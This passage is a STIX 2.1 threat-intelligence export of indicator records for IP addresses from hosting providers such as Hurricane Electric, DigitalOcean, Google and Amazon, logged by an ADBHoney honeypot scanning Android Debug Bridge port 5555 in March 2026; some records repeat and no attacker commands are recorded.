          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-07T04:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-07T03:56:32.000Z | last_seen=2026-03-07T03:57:35.766Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--e2666dd9-cd01-4c2d-b5cd-142a1cd1cf2a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T04:00:03.000Z",
      "valid_until": "2026-04-08T04:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-07T03:56:32.000Z",
          "last_seen": "2026-03-07T03:57:35.766Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-07T04:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-07T03:09:45.000Z | last_seen=2026-03-07T03:10:47.936Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--e8848e25-7800-43de-aff6-217b859228f2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '167.71.103.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T04:00:03.000Z",
      "valid_until": "2026-04-08T04:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-07T03:09:45.000Z",
          "last_seen": "2026-03-07T03:10:47.936Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-07T04:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=9 | first_seen=2026-03-07T03:58:06.000Z | last_seen=2026-03-07T04:08:11.775Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--4ed88d92-c020-46ad-9bf4-bbb7100f7706",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T04:00:03.000Z",
      "valid_until": "2026-04-08T04:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 9,
          "first_seen": "2026-03-07T03:58:06.000Z",
          "last_seen": "2026-03-07T04:08:11.775Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-07T04:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-07T03:56:32.000Z | last_seen=2026-03-07T03:57:35.766Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--e2666dd9-cd01-4c2d-b5cd-142a1cd1cf2a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T04:00:03.000Z",
      "valid_until": "2026-04-08T04:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-07T03:56:32.000Z",
          "last_seen": "2026-03-07T03:57:35.766Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-07T07:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=22; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=22 | first_seen=2026-03-07T06:06:00.000Z | last_seen=2026-03-07T06:17:30.397Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--38971095-3b51-4c99-bf05-5036f1c7160e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T07:00:03.000Z",
      "valid_until": "2026-04-08T07:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 22,
          "first_seen": "2026-03-07T06:06:00.000Z",
          "last_seen": "2026-03-07T06:17:30.397Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-07T07:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=16; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=16 | first_seen=2026-03-07T06:24:00.000Z | last_seen=2026-03-07T06:34:11.089Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--56b7b4ba-f5c2-45cc-8f1c-957ea03a6816",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '157.245.116.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T07:00:03.000Z",
      "valid_until": "2026-04-08T07:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 16,
          "first_seen": "2026-03-07T06:24:00.000Z",
          "last_seen": "2026-03-07T06:34:11.089Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-07T07:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=22; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=22 | first_seen=2026-03-07T06:06:00.000Z | last_seen=2026-03-07T06:17:30.397Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--38971095-3b51-4c99-bf05-5036f1c7160e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T07:00:03.000Z",
      "valid_until": "2026-04-08T07:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 22,
          "first_seen": "2026-03-07T06:06:00.000Z",
          "last_seen": "2026-03-07T06:17:30.397Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-07T07:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=16; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=16 | first_seen=2026-03-07T06:24:00.000Z | last_seen=2026-03-07T06:34:11.089Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--56b7b4ba-f5c2-45cc-8f1c-957ea03a6816",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '157.245.116.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T07:00:03.000Z",
      "valid_until": "2026-04-08T07:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 16,
          "first_seen": "2026-03-07T06:24:00.000Z",
          "last_seen": "2026-03-07T06:34:11.089Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-07T12:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=16509; asn_org=Amazon.com, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-07T11:46:56.000Z | last_seen=2026-03-07T11:57:01.318Z | ports=5555 | cc=US | asn=16509 | org=Amazon.com, Inc.",
      "id": "indicator--565e559c-5135-46e3-9adb-2d5e626383ce",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '3.137.136.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T12:00:02.000Z",
      "valid_until": "2026-04-08T12:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-07T11:46:56.000Z",
          "last_seen": "2026-03-07T11:57:01.318Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "16509"
          ],
          "org": [
            "Amazon.com, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-07T12:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=16509; asn_org=Amazon.com, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-07T11:46:56.000Z | last_seen=2026-03-07T11:57:01.318Z | ports=5555 | cc=US | asn=16509 | org=Amazon.com, Inc.",
      "id": "indicator--565e559c-5135-46e3-9adb-2d5e626383ce",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '3.137.136.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T12:00:02.000Z",
      "valid_until": "2026-04-08T12:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-07T11:46:56.000Z",
          "last_seen": "2026-03-07T11:57:01.318Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "16509"
          ],
          "org": [
            "Amazon.com, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-07T14:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=UA; asn=211736; asn_org=FOP Dmytro Nedilskyi; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-07T13:49:08.000Z | last_seen=2026-03-07T13:50:16.464Z | ports=5555 | cc=UA | asn=211736 | org=FOP Dmytro Nedilskyi",
      "id": "indicator--7cd29cf1-b1a8-44c4-aede-6f8d7d592b2d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '92.63.197.181']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T14:00:03.000Z",
      "valid_until": "2026-04-08T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-07T13:49:08.000Z",
          "last_seen": "2026-03-07T13:50:16.464Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "UA"
          ],
          "asn": [
            "211736"
          ],
          "org": [
            "FOP Dmytro Nedilskyi"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-07T14:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=UA; asn=211736; asn_org=FOP Dmytro Nedilskyi; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-07T13:49:08.000Z | last_seen=2026-03-07T13:50:16.464Z | ports=5555 | cc=UA | asn=211736 | org=FOP Dmytro Nedilskyi",
      "id": "indicator--7cd29cf1-b1a8-44c4-aede-6f8d7d592b2d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '92.63.197.181']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T14:00:04.000Z",
      "valid_until": "2026-04-08T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-07T13:49:08.000Z",
          "last_seen": "2026-03-07T13:50:16.464Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "UA"
          ],
          "asn": [
            "211736"
          ],
          "org": [
            "FOP Dmytro Nedilskyi"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-07T15:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-07T14:22:37.000Z | last_seen=2026-03-07T14:32:39.516Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--ed89394f-a113-4770-aa6c-c6452a3f45c5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T15:00:02.000Z",
      "valid_until": "2026-04-08T15:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-07T14:22:37.000Z",
          "last_seen": "2026-03-07T14:32:39.516Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-07T15:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-07T14:22:08.000Z | last_seen=2026-03-07T14:23:11.333Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--e495fd58-9b90-45fb-b851-25e7379637ac",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T15:00:02.000Z",
      "valid_until": "2026-04-08T15:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-07T14:22:08.000Z",
          "last_seen": "2026-03-07T14:23:11.333Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-07T15:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-07T14:22:37.000Z | last_seen=2026-03-07T14:32:39.516Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--ed89394f-a113-4770-aa6c-c6452a3f45c5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T15:00:02.000Z",
      "valid_until": "2026-04-08T15:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-07T14:22:37.000Z",
          "last_seen": "2026-03-07T14:32:39.516Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-07T15:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-07T14:22:08.000Z | last_seen=2026-03-07T14:23:11.333Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--e495fd58-9b90-45fb-b851-25e7379637ac",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T15:00:02.000Z",
      "valid_until": "2026-04-08T15:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-07T14:22:08.000Z",
          "last_seen": "2026-03-07T14:23:11.333Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-07T16:00:02.000Z",
